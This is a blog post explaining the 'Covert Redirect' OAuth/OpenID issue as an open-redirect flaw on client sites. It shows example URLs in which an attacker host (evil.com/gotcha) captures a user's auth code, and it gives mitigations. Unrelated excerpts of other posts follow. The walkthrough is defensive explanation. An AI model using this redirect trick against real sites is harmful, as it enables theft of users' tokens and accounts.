Headlines are flying around this morning that a “serious security flaw” (now dubbed “Covert Redirect”) has been discovered in OAuth and OpenID, which could be exploited by malicious sites to capture user’s personal data. Furthermore, the “reporting” includes comments from major auth providers (Google, Microsoft, Facebook) to the effect of “we can’t fix this”.

Synopsis:

This is not a vulnerability of OAuth itself. The exploit requires the use of an open redirect on your client web site. If you have a URL on your web site that blindly redirects the browser to whatever URL is encoded in the parameters AND you forward URL query params to the redirected page as well, then you have a massive security hole in your web site that can be exploited to capture user personal data and control of the user’s account on your site. This open redirect exploit is not specific to OAuth; an open redirect can be leveraged to exploit a wide variety of services. Open redirects have been well known as a Very Bad Idea for decades.

Solution:

Don’t expose an open redirect on your web server (duh!)

Or if you do expose a redirect endpoint, restrict the destination URL to your own domain(s).

If you must redirect to arbitrary 3rd party domains (really? why?), at least strip away the query params.

Details:

Passive federated authentication usually involves a web site (example.com) making a login request to an authentication site (google,com, facebook.com, etc). The auth site prompts the user to log in to the auth provider’s domain (google.com, etc), and then issues an auth code or access token to the original web site (example.com). This auth code is passed from the auth provider to the original web site by redirecting the browser to a url on the original web site. The auth code is usually passed as a parameter in the URL query of the redirect.

Most auth providers will only redirect to a URL with a domain name that is preset in the client web site’s configuration data with that provider. This is to prevent the auth provider from being used as an open redirect. Google, Microsoft, etc, do the right thing.

Note: Facebook supports redirect URL whitelisting in their app configuration, but Facebook does not require that it be set. If your client app uses the Facebook default settings, your users who use Facebook to login to your app are vulnerable to redirect attacks and information theft. Set the OAuth redirect URL in the Facebook settings to close this security hole.

(for clarity, URLs in query params in the examples below are not URL encoded)

Not vulnerable:

Your web site example.com requests the user login from auth provider, and includes in the request a callback URL to receive auth code: https://example.com/receiveAuthCode

Auth provider redirects to https://example.com/receiveAuthCode and attaches the auth code as a query param: https://example.com/receiveAuthCode/?&code=asdfewreaf12321

Example.com/receiveAuthCode responds by capturing the auth code query param, converting the auth code into an access token in another request to the auth provider, and stores the access token in a browser session cookie so that it can be used across multiple web pages on example.com

Vulnerable:

User visits example.com/myprofile

Example.com realizes user is not authenticated, redirects to auth provider login and includes the URL of the original page requested by the user in the receive auth code redirect: https://example.com/redirect/?&original_page=https://example.com/myprofile

Auth provider does authentication, validates the domain of redirect against provisioned configuration, and redirects to the given redirect url

Example.com/redirect further redirects to https://example.com/myprofile AND copies the query parameters to the redirected URL: https://example.com/myprofile/&code=asdfasdfasd3456

example.com/myprofile sees the auth code on the URL and performs steps to convert it to an access token, fetch the user’s personal data, and display the profile page.

Evil.com constructs a new url from scratch to request authentication from an auth provider (google.com), replacing the example.com/myprofile portion of the authredirect url with evil.com/gotcha: authredirect=https://example.com/redirect/?&original_page=http://evil.com/gotcha

Evil.com manages to get the user to click on a link which navigates to the auth provider with that doctored redirect url

User logs in seeing “example.com” as the referring app.

Auth provider does authentication, validates domain of redirect against provisioned configuration, and redirects to given redirect url, with auth code parameter attached: http://example.com/redirect?&original_page=https://evil.com/gotcha&code=sdfgsfdgqwr542

Example.com/redirect redirects the browser to https://evil.com/gotcha AND copies the query parameters to the redirected URL: https://evil.com/gotcha/?&code=sdfgsfdgqwr542

Evil.com can now redeem that code for an access token and use that access token to access user data from the auth provider (google.com) as well as potentially full access to user account on example.com (if example.com exposes an API secured by the same access token)

Mitigation:

It’s not difficult to thwart this open redirect exploit:

Make sure you specify an OAuth redirect URI in the app configuration settings with every OAuth provider your app uses.

Don’t implement redirect URLs on your web site.

If redirects are required for your web site workflow, restrict the redirect endpoint to only redirecting to URLs within your own site. Do not copy the query params to the redirected URL. Perform the processing of auth code to access token on the redirect endpoint and store the access token in a browser session cookie before redirecting to the page the user originally request.

There are legitimate reasons to implement a limited redirect endpoint on your web site. The most common use case: after the login process is complete, redirect the browser to the web page (on your site) that the user originally requested. This use of redirects should be constrained to only perform the redirect if the requested destination URL is in your site’s domain.

Arno Van Jaarsfeld posted a photo of his old Turbo Pascal floppy disks recently. In the spirit of “show me yours”, I reached under my desk and pulled these gems out of “the vault” – a hardside diskette drawer/box that has followed me through many moves. Left: Turbo Pascal 5.5 (1989) Right: Turbo Pascal 4.0 […]

As I build out the network in our home and other buildings on our farm property, I’m rapidly becoming a fan of Power over Ethernet. I got interested in it for the normal reasons (placing wifi access points in places without easy access to power) but now that I have it I’m finding additional perks […]

The OData specification committee at Oasis released the new OData 4.0 draft spec at the end of May. It covers a lot of ground, and there was no “what’s new” high level summary available when the draft was first published. TL;DR mobs sprang up in discussion forums brandishing pitchforks and torches. In an email on […]

Forrester analyst Andras Cser has proclaimed XACML is Dead. Unfortunately, the data used to justify this proclamation is flawed at many levels. Disclosure: I am the architect of the XACML 3.0 PDP authorization engine at the heart of the Dell/Quest Authorization Policy Server product, and I am a member of the OASIS XACML technical committee. […]

Reports are making the rounds of a “huge attack” targeting web sites running WordPress. I noticed suspicious behavior in the IP access logs of one of my web sites a little over a year ago. I turned on logging of failed login attempts to get a better picture of what was happening. I checked the […]

Great googly-moogly. I’ve been fighting with a variety of services on one of my Windows machines for several weeks. Windows updates have been deadlocked since mid August. Some troubleshooting guide suggested disabling Windows Firewall temporarily until the updates could complete. Not only did disabling Windows Firewall not resolve the Windows Update issue, but Windows Firewall […]

Dell has completed the acquisition of Quest Software. We are now Dell! It has been a busy year or so. I joined BiTKOO in October 2010 to help expand and scale BiTKOO’s push into the nascent XACML external authorization space. 14 months later, Quest Software acquired BiTKOO in part to fill a gap in Quest’s […]

I’ve wondered for awhile whether my old electric kiln could manage the long slow heat soak required for glass casting. Flat kilns with heating elements in the top are recommended for hot glass work because a) a lot of glass work is flat (plates, windows) and b) heating large flat pieces of glass from the […]

Stage 2 of my personal Own Your Words quest has been completed. 75 articles I wrote for the Delphi Compiler Core blog from 2003 to 2005 while at Borland are now republished here on my personal site. You can find them all in the Delphi Compiler Core category. This archiving task was considerably more of […]

In the spirit of Own Your Words I recently completed importing all 81 articles I published on my “Windows Live Quantum Mechanics” blog on MSDN while I worked at Microsoft in the Windows Live development group (2006-2007). These articles are now archived on my personal web site under the Windows Live Quantum Mechanics category. I’d like to give […]

I learned the “Own Your Words” mantra the hard way several years ago. I’ve blogged on technical topics under a number of banners and web sites over the years. My blog moved twice while at Borland as new/better blog services came online every few years. While at Microsoft I was delighted to have the opportunity […]

In the spirit of consolidating my online identity onto a server I control and actually own the content, I’m repurposing dannythorpe.com to include non-software stuff I’m into as well as the software and technology related stuff I’ve posted here for years. I have been intending to build separate sites for my various fields of interest, […]

These two bowls are made with the same stoneware clay, the same glazes, and the same firing temperatures and schedules. They were fired in the kiln together, side by side. And yet the colors are so distinctly different between the two. Why? The only difference between these two pieces is the thickness of the glaze […]

I’ve been trying to get a nice clean rim impression from my “circle dot” pattern wheel for ages. We don’t have failures, we just have lots of practice and educational opportunities. Clay too wet/sticky, too much pressure, not enough pressure, uneven distance from the rim, and worst of all the tail not meeting up with […]

As I was finishing this bowl with a saturated iron teadust glaze I idlely swirled a finger around in the goop puddling in the bottom of the bowl. Who doesn’t enjoy a finger swirl in goop every now and then? I didn’t realize my brief moment of doodling would create a distinct indelible pattern in […]

The blue “wisps” in this piece are very hard to see in these photos, but jump out and dance in direct sunlight. The shadowy sprites are the by-product of an uncharacteristically gluttonous glaze interaction. This black base glaze has a tendency to swallow up color that is put over it, but for this particular top […]